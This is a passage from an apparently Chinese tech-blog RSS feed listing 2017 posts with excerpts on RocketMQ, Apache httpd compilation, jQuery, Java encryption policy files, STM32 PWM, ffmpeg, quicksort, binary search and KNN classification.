MAP_TYPE_STR &#34;</description>
    </item>
    <item>
      <title>rocketmq 雪崩后客户端超时</title>
      <link>https://bchobby.github.io/posts/1847e5328f0886bd617c400f84c3ae00/</link>
      <pubDate>Sat, 15 Jul 2017 21:59:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1847e5328f0886bd617c400f84c3ae00/</guid>
      <description>rocketmq 雪崩后客户端超时 看了源代码,mq broker 方核心日志信息:&#xA;1. 通过 mqAdmin 的消息 id,查看信息的 born 和 stroe 时间&#xA;2. 通过慢查日志查看.&#xA;defaultMessageStore.java 中 PutMessageResult putMessage(MessageExtBrokerInner msg) { log. warn( &#34;putMessage not in lock eclipse time(ms)={}, bodyLength={}&#34;, eclipseTime, msg.getBody(). length); 3.业务方的统计日志.&#xA;4. 线程堆栈统计.&#xA;报错异常信息:&#xA;com.paygateway.core.service.integration.bean.PayGatewayPaySuccess@462ba599,Flag=644560335968fcbd9e27515f3bc2ac86 com.alibaba.rocketmq.client.exception.MQClientException: Send [2] times, still failed, cost [6002]ms, Topic: PAY_GATEWAY_CALLBACK_SUCCESS_TOPIC, BrokersSent: [broker_cluster_3, broker_cluster_0, null] For more information, please visit the url, https://github.com/alibaba/RocketMQ/issues/64 at com.alibaba.rocketmq.client.impl.producer.DefaultMQProducerImpl.sendDefaultImpl(DefaultMQProducerImpl.java:590) at com.alibaba.rocketmq.client.impl.producer.DefaultMQProducerImpl.send(DefaultMQProducerImpl.java:1026) at com.alibaba.rocketmq.client.producer.DefaultMQProducer.send(DefaultMQProducer.java:122) Caused by: com.</description>
    </item>
    <item>
      <title>httpd-2.4编译安装详解</title>
      <link>https://bchobby.github.io/posts/3dcf3968d07adc3558d9188a318503f5/</link>
      <pubDate>Sat, 15 Jul 2017 09:26:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dcf3968d07adc3558d9188a318503f5/</guid>
      <description>1、前言 在CentOS 6上利用yum安装的httpd为2.2版本，而CentOS 7本身就支持httpd-2.4，所以这里以CentOS 6为例. 2、解决依赖关系 由于httpd服务依赖于apr,apr-util包。CentOS 6上的这两个包的版本是1.3.9版本的，而httpd-2.4所依赖的这两个包的版本必须是1.4及以上的，所以必须下载、编译安装这两个包. apr下载地址：http://mirror.bit.edu.cn/apache//apr/apr-1.6.2.tar.gz apr-util下载地址：http://mirror.bit.edu.cn/apache//apr/apr-util-1.6.0.tar.gz&#xA;编译安装apr,apr-util&#xA;[root@ling ~]#ls anaconda-ks.cfg apr-1.5.2.tar.gz apr-util-1.5.4.tar.gz install.log apr-1.5.2 apr-util-1.5.4 httpd-2.4.25.tar.bz2 install.log.syslog apr&#xA;[root@ling ~]#tar xf apr-1.5.2.tar.gz [root@ling ~]#cd apr-1.5.2 [root@ling apr-1.5.2]#./configure --prefix=/usr/local/apr [root@ling apr-1.5.2]#make &amp;amp;&amp;amp; make install apr-util 由于apr-util依赖于apr，所以要使用–with-apr=/path/to/apr&#xA;[root@ling ~]#tar xf apr-util-1.5.4.tar.gz [root@ling ~]#cd apr-util-1.5.4 [root@ling apr-util-1.5.4]#./configure --prefix=/usr/local/apr --with-apr=/usr/local/apr-util [root@ling apr-util-1.5.4]#make &amp;amp;&amp;amp; make install 3、安装httpd-2.4 创建apche的属组与属主，由于是系统用户与系统组，所以要使用-r选项&#xA;[root@ling ~]#groupadd -r apache [root@ling ~]#useradd -r -g apache apache 编译安装： 解压</description>
    </item>
    <item>
      <title>jquery中each()方法的使用</title>
      <link>https://bchobby.github.io/posts/b0c2fe94b85477f19f3ce5d6831e628f/</link>
      <pubDate>Fri, 14 Jul 2017 17:29:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0c2fe94b85477f19f3ce5d6831e628f/</guid>
      <description>在jquery中，遍历对象和数组，经常会用到$().each和$.each()，两个方法。两个方法是有区别的，从而这两个方法在针对不同的操作上，显示了各自的特点。&#xA;$().each,对于这个方法，在dom处理上面用的较多。如果页面有多个input标签类型为checkbox，对于这时用$().each来处理多个checkbook，例如：&#xA;$(“input[name=’checkbox’]”).each(function(i){ if($(this).attr(‘checked’)==true){ //一些操作代码 } }&#xA;//回调函数是可以传递参数，i就为遍历的索引。 对于数组的遍历，使用$.each()来遍历更加方便：&#xA;each处理一维数组 var arr1 = [ &#34;aaa&#34;, &#34;bbb&#34;, &#34;ccc&#34; ]; $.each(arr1, function(i,val){ alert(i); alert(val); }); //alert(i)将输出0，1，2 //alert(val)将输出aaa，bbb，ccc //each处理二维数组 var arr2 = [[&#39;a&#39;, &#39;aa&#39;, &#39;aaa&#39;], [&#39;b&#39;, &#39;bb&#39;, &#39;bbb&#39;], [&#39;c&#39;, &#39;cc&#39;, &#39;ccc&#39;]] $.each(arr, function(i, item){ alert(i); alert(item); }); //arr2为一个二维数组，item相当于取这二维数组中的每一个数组。 //item[0]相对于取每一个一维数组里的第一个值 //alert(i)将输出为0，1，2，因为这二维数组含有3个数组元素 //alert(item)将输出为 [&#39;a&#39;, &#39;aa&#39;, &#39;aaa&#39;]，[&#39;b&#39;, &#39;bb&#39;, &#39;bbb&#39;]，[&#39;c&#39;, &#39;cc&#39;, &#39;ccc&#39;] //对此二维数组的处理稍作变更之后 var arr = [[&#39;a&#39;, &#39;aa&#39;, &#39;aaa&#39;], [&#39;b&#39;, &#39;bb&#39;, &#39;bbb&#39;], [&#39;c&#39;, &#39;cc&#39;, &#39;ccc&#39;]] $.each(arr, function(i, item){ $.</description>
    </item>
    <item>
      <title>spring boot应用p6spy监控sql</title>
      <link>https://bchobby.github.io/posts/2fdbe061b8db1ed6b8e6a18e3b0afa29/</link>
      <pubDate>Fri, 14 Jul 2017 16:34:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2fdbe061b8db1ed6b8e6a18e3b0afa29/</guid>
      <description>Spring boot中使用p6spy监控hibernate sql语句值 开发环境 开发工具：IDEA开发环境：spring mvc、spring boot、spring data数据库:mysql 具体步骤如下： pom.xml中添加p6spy包依赖： &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;p6spy&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;p6spy&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; application.yml配置中： (1). url中必须增加p6spy,才能对SQL进行拦截：&#xA;jdbc:p6spy:mysql://192.0.6.116:3066/testdb&#xA;(2). driver-class需替换为：&#xA;com.p6spy.engine.spy.P6SpyDriver&#xA;具体如下：&#xA;spring: datasource: url: jdbc:p6spy:mysql://192.0.6.116:3066/testdb #driver-class-name: com.mysql.jdbc.Driver driver-class-name: com.p6spy.engine.spy.P6SpyDriver username: root password: xxxxxx 将spy.properties放到resources根目录下 spy.properties文件内容参考如下：&#xA;### # #%L # P6Spy # %% # Copyright (C) 2013 P6Spy # %% # Licensed under the Apache License, Version 2.0 (the &#34;License&#34;); # you may not use this file except in compliance with the License.</description>
    </item>
    <item>
      <title>你所不知道的快速排序（js实现）</title>
      <link>https://bchobby.github.io/posts/a19a06ecfa89532ef98aaab3864d951a/</link>
      <pubDate>Thu, 13 Jul 2017 04:22:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a19a06ecfa89532ef98aaab3864d951a/</guid>
      <description>注：本文是在看了两篇大牛的博客后，通过整理供自己学习快速排序所做笔记，分享出来方便大家学习。如需进一步了解可以查看文中博客链接。&#xA;一. 快速排序是什么 快速排序是图灵奖得主C. A. R. Hoare（1934--）于1960时提出来的。&#xA;快速排序是对冒泡排序的一种改进。它的基本思想是：通过一趟排序将要排序的数据分割成独立的两部分，其中一部分的所有数据都比另外一不部分的所有数据都要小，然后再按此方法对这两部分数据分别进行快速排序，整个排序过程可以递归进行，以此达到整个数据变成有序序列。&#xA;整个排序过程只需要三步：&#xA;（1）在数据集之中，选择一个元素作为&#34;基准&#34;（pivot）。&#xA;（2）所有小于&#34;基准&#34;的元素，都移到&#34;基准&#34;的左边；所有大于&#34;基准&#34;的元素，都移到&#34;基准&#34;的右边。&#xA;（3）对&#34;基准&#34;左边和右边的两个子集，不断重复第一步和第二步，直到所有子集只剩下一个元素为止。&#xA;二. 快速排序的时间复杂度 日本程序员norahiko，写了一个排序算法的动画演示，可以直观地将快排和其他排序方法的速度进行对比。&#xA;三. 快速排序为什么那么快 根据刘伟鹏的数学之美番外篇：快排为什么那样快一文所述，快排的本质上是一种通过问问题来缩小结果的可能性区间的策略。&#xA;下面我们将从最基本的猜数字和称小球讲起，总结其中蕴含的规律，然后一步步引申到排序问题上去。&#xA;1. 猜数字 假设有一个1~64之间的数，你来猜（你只能问答案是“是”或“否”的问题）。为了保证不论在什么情况下都能以尽量少的次数猜中，你应该采取什么策略呢？很显然，二分。先是猜是不是位于1~32之间，排除掉一半可能性，然后对区间继续二分。这种策略能够保证无论数字怎么跟你捉迷藏，都能在log_2{n}次以内猜中。用算法的术语来说就是它的下界是最好的。&#xA;为什么这种策略具有最优下界？答案也很简单，这个策略是平衡的。反之如果策略不是平衡的，比如问是不是在1~10之间，那么一旦发现不是在1~10之间的话就会剩下比N/2更多的可能性需要去考察了。&#xA;这种策略的本质可以概括成“让未知世界无机可乘”。它是没有“弱点的”，答案的任何一个分支都是等概率的。反之，一旦某个分支蕴含的可能性更多，当情况落到那个分支上的时候你就郁闷了。比如猜数字游戏最糟糕的策略就是一个一个的猜：是1吗？是2吗？… 因为这种猜法最差的情况下需要64次才能猜对，下界非常糟糕。二分搜索为什么好，就是因为它每次都将可能性排除一半并且无论如何都能排除一半（它是最糟情况下表现最好的）。&#xA;2. 称小球 12个小球，其中有一个是坏球。有一架天平。需要你用最少的称次数来确定哪个小球是坏的并且它到底是轻还是重。这个问题是一道流传已久的智力题。&#xA;我们先回顾一下猜数字游戏。为了保证任何情况下以最少次数猜中，我们的策略是每次都排除恰好一半的可能性。类比到称球问题上：坏球可能是12个球中的任意一个，这就是12种可能性；而其中每种可能性下坏球可能轻也可能重。于是“坏球是哪个球，是轻是重”这个问题的答案就有12×2=24种可能性。现在我们用天平来称球，就等同于对这24种可能性发问，由于天平的输出结果有三种“平衡、左倾、右倾”，这就相当于我们的问题有三个答案，即可以将所有的可能性切成三份，根据猜数字游戏的启发，我们应当尽量让这三个分支概率均等，即平均切分所有的可能性为三等份。如此一来的话一次称量就可以将答案的可能性缩减为原来的1/3，三次就能缩减为1/27。而总共才有24种可能性，所以理论上是完全可以3次称出来的。&#xA;如何称的指导原则有了，构造一个称的策略就不是什么太困难的事情了。首先不妨解释一下为什么最直观的称法不是最优的——6、6称：在6、6称的时候，天平平衡的可能性是0，也就是说我们得到的信息量为零。刚才说了，最优策略应该使得天平三种状态的概率均等，这样才能三等分答案的所有可能性。&#xA;只要记着这样一个指导思想——你选择的称法必须使得当天平平衡的时候答案剩下的可能性和天平左倾（右倾）的时候答案剩下的可能性一样多。实际上，这等同于你得选择一种称法，使得天平输出三种结果的概率是均等的，因为天平输出某个结果的概率就等同于所有支持这个结果（左倾、右倾、平衡）的答案可能性的和，并且答案的每个可能性都是等概率的。&#xA;MacKay在他的书《Information Theory: Inference and Learning Algorithms》（作者开放免费电子书）里面4.1节专门讲了这个称球问题，还画了一张不错的图：&#xA;图中“1+”是指“1号小球为重”这一可能性。一开始一共有24种可能性。4、4称了之后不管哪种情况（分支），剩下来的可能性总是4种。这是一个完美的三分。然后对每个分支构造第二次称法，这里你只要稍加演算就可以发现，分支1上的第二次称法，即“1、2、6对3、4、5”这种称法，天平输出三种结果的可能性是均等的（严格来说是几乎均等）。这就是为什么这个称法能够在最坏的情况下也能表现最好的原因，没有哪个分支是它的弱点，它必然能将情况缩小到原来的1/3。&#xA;3. 排序（理想情况） 用前面的看问题视角，排序的本质可以这样来表述：一组未排序的N个数字，它们一共有N!种重排，其中只有一种排列是满足题意的（譬如从大到小排列）。换句话说，排序问题的可能性一共有N!种。任何基于比较的排序的基本操作单元都是“比较a和b”，这就相当于猜数字游戏里面的一个问句，显然这个问句的答案只能是“是”或“否”，一个只有两种输出的问题最多只能将可能性空间切成两半，根据上面的思路，最佳切法就是切成1/2和1/2。也就是说，我们希望在比较了a和b的大小关系之后，如果发现ab也是剩下N!/2种可能性。由于假设每种排列的概率是均等的，所以这也就意味着支持ab的也是N!/2个，换言之，ab的概率。&#xA;我们希望每次在比较a和b的时候，ab的概率是均等的，这样我们就能保证无论如何都能将可能性缩小为原来的一半了！最优下界。&#xA;一个直接的推论是，如果每次都像上面这样的完美比较，那么N个元素的N!种可能排列只需要log_2{N!}就排查玩了，而log_2{N!}近似于NlogN。这正是快排的复杂度。&#xA;4. 排序（实际情况） 我们考虑快排的过程：随机选择一个元素做“轴元素”，将所有大于轴元素的移到左边，其余移到右边。根据这个过程，快排的第一次比较就是将一个元素和轴元素比较，这个时候显而易见的是，“大于”和“小于”的可能性各占一半。这是一次漂亮的比较。&#xA;然而，快排的第二次比较就不那么高明了：我们不妨令轴元素为pivot，第一次比较结果是a1pivot的话，那么a1，a2，pivot这三个元素之间的关系就完全确定了——a1&amp;lt;pivot&amp;lt;a2，剩下来的元素排列的可能性我们不妨记为P（不需要具体算出来）。而如果a2&amp;lt;pivot呢？那么a1和a2的关系就仍然是不确定的，也就是说，这个分支里面含有两种情况：a1&amp;lt;a2&amp;lt;pivot，以及a2&amp;lt;a1&amp;lt;pivot。对于其中任一种情况，剩下的元素排列的可能性都是P，于是这个分支里面剩下的排列可能性就是2P。所以当a2&amp;lt;pivot的时候，还剩下2/3的可能性需要排查。&#xA;再进一步，如果第二步比较果真发现a2&amp;lt;pivot的话，第三步比较就更不妙了，模仿上面的推理，a3&amp;lt;pivot的概率将会是3/4！&#xA;这就是快排也不那么快的原因，因为它也没有做到每次比较都能将剩下的可能性砍掉一半。&#xA;5. 小节 将排序问题看成和猜数字一样，是通过问问题来缩小/排除（narrow down）结果的可能性区间，这样一来，就会发现，“最好的问题”就是那些能够均分所有可能性的问题，因为那样的话不管问题的答案如何，都能排除掉k-1/k（k为问题的答案有多少种输出——猜数字里面是2，称球里面是3）种可能性，而不均衡的问题总会有一个或一些答案分支排除掉的可能性要小于k-1/k。于是策略的下界就被拖累了。&#xA;四. 快速排序的具体实现 知道了快排的思想与原理，下面我们就用javascript来具体实现一下快排。&#xA;首先，定义一个quickSort函数，它的参数是一个数组。&#xA;var quickSort = function(arr) { };复制代码 然后，检查数组的元素个数，如果小于等于1，就返回。&#xA;var quickSort = function(arr) { if (arr.</description>
    </item>
    <item>
      <title>Android6.0找不到org.apache.http.Header的问题</title>
      <link>https://bchobby.github.io/posts/6f8848e303356d9000180d474c4fb973/</link>
      <pubDate>Wed, 12 Jul 2017 17:01:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f8848e303356d9000180d474c4fb973/</guid>
      <description>在使用Android Studio时，采用了最新的编译版本android 6.0,但是发现在运行时，之前程序里引用的org.apache.http.Header类找不到了。通过查找发现： Android 6.0 release removes support for the Apache HTTP client. 也就是说Http Client在android 6.0 被移除了，那怎么使用呢？&#xA;解决方法： 官方文档里提供了这么一段话： If your app is using this client and targets Android 2.3 (API level 9) or higher, use the HttpURLConnection class instead. This API is more efficient because it reduces network use through transparent compression and response caching, and minimizes power consumption. To continue using the Apache HTTP APIs, you must first declare the following compile-time dependency in your build.</description>
    </item>
    <item>
      <title>好久没写技术博了，说说最近的生活</title>
      <link>https://bchobby.github.io/posts/0bdf2df95c361de01dbc8fd650745219/</link>
      <pubDate>Mon, 10 Jul 2017 22:04:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bdf2df95c361de01dbc8fd650745219/</guid>
      <description>2017.7.7正式领双证毕业，至此结束了18年的学生生涯开启人生新篇章。&#xA;现在在入职百度的路上，机器学习算法策略工程师，凤巢。&#xA;感谢哈尔滨工业大学极佳的学习氛围以及我的导师同学给我的帮助。&#xA;很幸运的，认识了我的妻子，哈工大同届，现在签了某D轮创业公司产品经理，薪水跟我持平，今天是我们结婚第40天。&#xA;感谢我的父母在大学期间给予了我同龄人中最好的物质支持，爸爸妈妈我爱你们。&#xA;最后传张老婆美照镇楼。</description>
    </item>
    <item>
      <title>加密时java.security.InvalidKeyException: Illegal key size or default parameters解决办法</title>
      <link>https://bchobby.github.io/posts/cb00d5d4540c939558b8f3032dab9d64/</link>
      <pubDate>Mon, 10 Jul 2017 17:31:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb00d5d4540c939558b8f3032dab9d64/</guid>
      <description>Java几乎各种常用加密算法都能找到对应的实现。因为美国的出口限制，Sun通过权限文件（local_policy.jar、US_export_policy.jar）做了相应限制。因此存在一些问题： ●密钥长度上不能满足需求（如：java.security.InvalidKeyException: Illegal key size or default parameters）； ●部分算法未能支持，如MD4、SHA-224等算法； ●API使用起来还不是很方便；一些常用的进制转换辅助工具未能提供，如Base64编码转换、十六进制编码转换等工具。 Oracle在其官方网站上提供了无政策限制权限文件（Unlimited Strength Jurisdiction Policy Files），我们只需要将其部署在JRE环境中，就可以解决限制问题。 下载地址： 1、Java 5.0 无政策限制文件 http://www.oracle.com/technetwork/java/javasebusiness/downloads/java-archive-downloads-java-plat-419418.html#jce_policy-1.5.0-oth-JPR 2、Java 6 无政策限制文件 http://www.oracle.com/technetwork/java/javase/downloads/jce-6-download-429243.html 3、Java 7 无政策限制文件 http://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html 4、其他版本 无政策限制文件 http://www.oracle.com/technetwork/java/javasebusiness/downloads/java-archive-downloads-java-plat-419418.html&#xA;处理办法: 在官方网站下载JCE无限制权限策略文件&#xA;JDK7的下载地址: http://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html&#xA;JDK8的下载地址: http://www.oracle.com/technetwork/java/javase/downloads/jce8-download-2133166.html 下载后解压，可以看到local_policy.jar和US_export_policy.jar以及readme.txt&#xA;切换到%JDK_Home%\jre\lib\security目录下，对应覆盖local_policy.jar和US_export_policy.jar两个文件。同时，你可能有必要在%JRE_Home%\lib\security目录下，也需要对应覆盖这两个文件。&#xA;配置权限文件的最终目的是为了使应用在运行环境中获得相应的权限，可以加强应用的安全性。通常，我们在应用服务器上安装的是JRE，而不是JDK。因此，这就很有必要在应用服务器的%JRE_Home%\lib\security目录下，对应覆盖这两个权限文件。很多开发人员往往忽略了这一点，导致事故发生.</description>
    </item>
    <item>
      <title>STM32学习笔记一一PWM 输出</title>
      <link>https://bchobby.github.io/posts/973027e4cf7597aa4806c123cbadb140/</link>
      <pubDate>Sun, 09 Jul 2017 23:01:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/973027e4cf7597aa4806c123cbadb140/</guid>
      <description>前言： 为了方便查看博客，特意申请了一个公众号，附上二维码，有兴趣的朋友可以关注，和我一起讨论学习，一起享受技术，一起成长。&#xA;1.PWM 简介&#xA;脉冲宽度调制(PWM)，是利用微处理器的数字输出来对模拟电路进行控制的一种非常有效的技术。即对脉冲宽度的控制。&#xA;STM32 的定时器除了 TIM6 和 7。其他的定时器都可以用来产生 PWM 输出。其中高级定时器 TIM1 和 TIM8 可以同时产生多达 7 路的 PWM 输出。而通用定时器也能同时产生多达 4路的 PWM 输出，这样，STM32 最多可以同时产生 30 路 PWM 输出！&#xA;2.相关寄存器&#xA;除了定时器章节介绍的几个寄存器（ ARR、PSC、 CR1 等） 外，还会用到 4 个寄存器（通用定时器则只需要 3 个），来控制 PWM 的输出。这四个寄存器分别是：捕获/比较模式寄存器（ TIMx_CCMR1/2）、捕获/比较使能寄存器（ TIMx_CCER）、捕获/比较寄存器（ TIMx_CCR1~4） 以及刹车和死区寄存器（ TIMx_BDTR）。&#xA;（1）捕获/比较模式寄存器（ TIMx_CCMR1/2）&#xA;该寄存器总共有 2 个， TIMx _CCMR1和 TIMx _CCMR2。TIMx_CCMR1 控制 CH1 和 2，而 TIMx_CCMR2 控制 CH3 和 4。该寄存器的各位描述如下：&#xA;寄存器分了 2层，上面一层对应输出时的设置而下面的则对应输入时的设置。模式设置位 OCxM，此部分由 3 位组成。总共可以配置成 7 种模式，我们使用的是 PWM 模式，这 3 位必须设置为110/111。这两种 PWM 模式的区别就是输出电平的极性相反。 另外 CCxS 用于设置通道的方向（输入/输出）默认设置为 0，就是设置通道作为输出使用。</description>
    </item>
    <item>
      <title>gson</title>
      <link>https://bchobby.github.io/posts/6716608096280862a88268db0de397cd/</link>
      <pubDate>Fri, 07 Jul 2017 14:14:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6716608096280862a88268db0de397cd/</guid>
      <description>http://www.cnblogs.com/jiayongji/p/5297187.html(gson把返回的string数据，转化为实体类) Json转换利器Gson之实例一-简单对象转化和带泛型的List转化 http://blog.csdn.net/lk_blog/article/details/7685169 package cardvalue.managementsystem.pojo; import com.google.gson.Gson; /** * Created by Administrator on 2017/7/7. */ public class Result&amp;lt;T&amp;gt; { public String type; public String result; public int code; public String getType() { return type; } public void setType(String type) { this.type = type; } public String getResult() { return result; } public void setResult(String result) { this.result = result; } public int getCode() { return code; } public void setCode(int code) { this.</description>
    </item>
    <item>
      <title>浅谈竞赛中的部分树（块、点、链）【长期更新】</title>
      <link>https://bchobby.github.io/posts/1edc0967c39ac5feaf9f6113767056be/</link>
      <pubDate>Wed, 05 Jul 2017 17:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1edc0967c39ac5feaf9f6113767056be/</guid>
      <description>[toc] 本文会从链剖讲起，涉及其变形进阶，之后也会讲到DFS序，树上分块，块状树，点分治与边分治，LCT，仙人掌与仙人球，伪top_tree(AAA树)，top_tree。 本文重点讲述思维，至于例题虽会有涉及，但还是请读者自行百度（毕竟OI是不缺题的。。。。） 详略在文章中体现，如有错误，请各位读者指正。&#xA;从树链剖分讲起 其实我是先会LCT，再会链剖的，所以说比较尴尬。。。 但是自我学习了链剖后，我发现链剖给予了树上操作无限的可能性。&#xA;长链与重链 重链剖分在OI中很常见，所以这里只放出模板的博客： 感谢博主——Sdchr 长链剖分比较冷门，大部分使用在 O(1) 查询第k级祖先，与重链剖分相对的，就是把size的处理变为deep的处理。 这里也有份比较详细的blog： 感谢博主——ZZQ 这里的长链与重链的关系有些像平衡树中的重量平衡与深度平衡，各有特点，相互弥补在树上操作的不足。 重点即是重链与轻链的交替穿插，使得部分信息能够在树中快速上传，将树变得有序化，层次化就是树链剖分的本质。 长链剖分的题除上述提到外还有 BZOJ1785、BZOJ4543。 讲重点： 1.为什么要学树链剖分？ A:因为要考，lct的常数太大。链剖可以快速地与其他数据结构相关联，易出题。 2.如何学习链剖？ A:做题，做与其他数据结构、算法结合的题，特别是对于链剖在各类的树上运用。链剖模板很简单，但是如何运用是一个需要深度思考的问题。遇到链剖题千万不要裸上LCT水掉，当遇上卡常类、与一些高级算法结合类的题时就会无从下手。（说的就是blog主。。。） 3.学习链剖要到什么程度？ A:模板10~15min，重要的是快判断题目可以用链剖解决，并且知道如何解决（说白了，就是多刷点题）。&#xA;上干货（咦？长链剖分都不算干货？） 好吧。。补充长链剖分模板中的核心代码&#xA;int fa[N],depth[N],Dep[N],top[N],son[N],dfn[N],cnt; inline void dfs(int u,int f){ Dep[u]=depth[u]=depth[fa]+1,fa[u]=f; for(int p=head[u];p;p=G[p].next) if(V!=f) dfs(V,u),Dep[u]=max(Dep[u],Dep[V]); } inline void ask(int u,int fa,int z){ dfn[u]=++cnt,top[u]=z,son[u]=0; int maxv=0; for(int p=head[u];p;p=G[p].next) if(V!=fa&amp;amp;&amp;amp;Dep[V]&amp;gt;maxv) maxv=Dep[son[u]=V]; if(son[u])ask(son[u],u,z); for(int p=head[u];p;p=G[p].next) if(V!=fa&amp;amp;&amp;amp;V!=son[u]) ask(V,u,V); } 可以看见size不见了只多出来一个新的dep。剩下的就靠自己领悟了。&#xA;合并！ 从刘rj的紫书上看到了有关树链剖分的合并，详情可以参考 %%%——idy002学长大佬。 有序链剖概念的提出给予我们一扇新世界的大门 见例题T3 link操作神来之笔，但是反过来说，难道寻常链剖做不到有序吗？不见得吧，用if特判或者再建立一棵倒着的树链剖分不就可以了吗?方法有很多不见得固定死思维，只要算法有正确性，复杂度合适，那么勇敢创新是值得借鉴的。&#xA;tips 链剖小技巧： 1.</description>
    </item>
    <item>
      <title>ffmpeg h264转h265</title>
      <link>https://bchobby.github.io/posts/7084c25eb15f6b9c6634ae8e416cdbf2/</link>
      <pubDate>Wed, 05 Jul 2017 15:16:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7084c25eb15f6b9c6634ae8e416cdbf2/</guid>
      <description>ffmpeg -i d:\soft\720p.mp4 -c:v libx265 -b:v 5000k d:\soft\myvideo.mp4&#xA;这里码率是5000k，编码是h265&#xA;h265的解码貌似用显卡上独立与渲染的硬件解码，不会对显卡造成大负担&#xA;ffmpeg -i I:\input\vrgf.mp4 -vcodec hevc -b:v 5000k I:\output\vrgf3.mp4&#xA;ffmpeg -i e:\vrgf.mp4 -vcodec hevc -b:v 5000k -keyint_min 60 -g 60 -sc_threshold 0 e:\vrgf_compress1.mp4&#xA;-keyint_min 60 -g 60 -sc_threshold 0&#xA;其中-keyint_min为最小关键帧间隔，我这里设置为60帧；-sc_threshold这个命令会根据视频的运动场景，自动为你添加额外的I帧，所以会导致你编出来的视频关键帧间隔不是你设置的长度，这是只要将它设为0，问题就得到解决了！！</description>
    </item>
    <item>
      <title>__attribute__((at(0X68000000)))</title>
      <link>https://bchobby.github.io/posts/c2f178fbfae96cc0eb5fda70dfabd1bb/</link>
      <pubDate>Tue, 04 Jul 2017 14:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2f178fbfae96cc0eb5fda70dfabd1bb/</guid>
      <description> __attribute__((at(0X68000000))) 这句的主要是用法是怎么个回事&#xA;这里其实就是要搞懂2个C语言关键字就可以了. 首先,__attribute__,这个是 用来指定变量或结构位域的特殊属性,该关键字后的双括弧中的内容是属性说明。 然后是at关键字,该关键字可以用来设置变量的绝对地址,也就是你可以通过这个关键字,指定某个变量处于内存里面的某个给定的地址. 综合起来,就是设置变量处于0X68000000这个地址.&#xA;不能在函数内定义, 局部变量是存放在栈区的, 栈区由编译器自动分配释放, 不能自定义绝对地址 你可以放在函数外,作为全局变量, 把这么大的数组定义在函数内部，栈都溢出了。 </description>
    </item>
    <item>
      <title>有序的数组中找到某一目标值首次出现的下标</title>
      <link>https://bchobby.github.io/posts/639e538799911f9b6df7055500d6f364/</link>
      <pubDate>Sun, 02 Jul 2017 21:06:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/639e538799911f9b6df7055500d6f364/</guid>
      <description>给定一个升序的数组，这个数组中可能含有相同的元素，并且给定一个目标值。要求找出目标值在数组中首次出现的下标。 思想：题目给出有序数组，应该想到利用二分查找来做。找到左邻居，使其值加一。利用二分查找，算法复杂度为O(logn)&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; int findsearch(int *p, int length, int target) { int left = 0; int right = length-1 ; if (p[right - 1] &amp;lt; target&amp;amp;&amp;amp;length&amp;lt;0&amp;amp;&amp;amp;p==NULL) return - 1; while (left &amp;lt; right) { int mid = (left + right) / 2; if (p[mid] &amp;lt; target) left = mid + 1; else right = mid; } if (p[left] == target) return left; else return -1; } int main() { int p[] = { 4,6,6,6,6 }; int length = 5; int target =6; int index = findsearch(p, length, target); cout &amp;lt;&amp;lt; index &amp;lt;&amp;lt; endl; } 类似题目： 找到有序数组中某一目标值在数组中的开始下标以及终止下标以及目标值出现的次数。也可以用下面的方法：</description>
    </item>
    <item>
      <title>机器学习基础-Knn分类器</title>
      <link>https://bchobby.github.io/posts/2cf4188a384f2feaea2ab2b8906311a5/</link>
      <pubDate>Sun, 02 Jul 2017 11:15:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cf4188a384f2feaea2ab2b8906311a5/</guid>
      <description>问题概述：K 近邻算法是分类数据最简单有效的算法，它采用基于实例的学习方法。简单地说，它采用测量不同样本之间距离的方法进行分类。它的工作原理是:存在一个样本数据集合，也称为训练样本集，并且样本集中的每个数据都有标签，即我们知道每个数据所属的分类。输入没有标签的新数据后，将新数据的每个特征与样本集中数据的对应特征进行比较，然后算法 取样本集中特征最相似数据(最近邻)的分类标签。一般来说，我们只选择样本数据集中前 K个最相似的数据，这就是 K 近邻算法中K 的出处。最后，选择K 个最相似数据中出现次数最多的分类，作为新数据的分类。&#xA;由以上述可得知，使用 K近邻算法对某个新数据进行分类的伪代码如下:&#xA;(1)、计算训练样本集中的各样本与当前数据之间的距离;&#xA;(2)、按照距离递增顺序排序;&#xA;(3)、选取与当前数据距离最小的K 个样本;&#xA;(4)、确定前K 个样本所在类别的出现频率;&#xA;(5)、返回前K 个样本出现频率最高的类别作为当前数据的预测类别。要求设计和实现类KnnNumber，构造一个使用K 近邻分类器的手写识别系统，该系统可以识别数字0 到9。需要识别的数字已经处理成具有相同的色彩和大小:使用文本格式表示的32 像素*32像素黑白图像(0/1二值图像)。数据集在 digits.zip中，其中目录 trainingDigits包含了训练样本集，其中包含了大约 2000个样本数据，每个数据的文件名表明了它的标签(0~9中的某个数字)，每个数字大约有 200个样本数据;目录 testDigits中包含了大约 900个测试数据。请合理设计 KnnNumber的数据成员和成员方法，以实现算法的各个步骤。将 K 取值&#xA;为[3, 9]之间的一个整数，找出分类准确率最高的K 值。 提示:&#xA;(1)、计算距离时采用欧几里得距离;&#xA;(2)、可将每个数字图像文件转换为1*1024 的一维数组，于是整个训练样本集可以表示为2000*1024 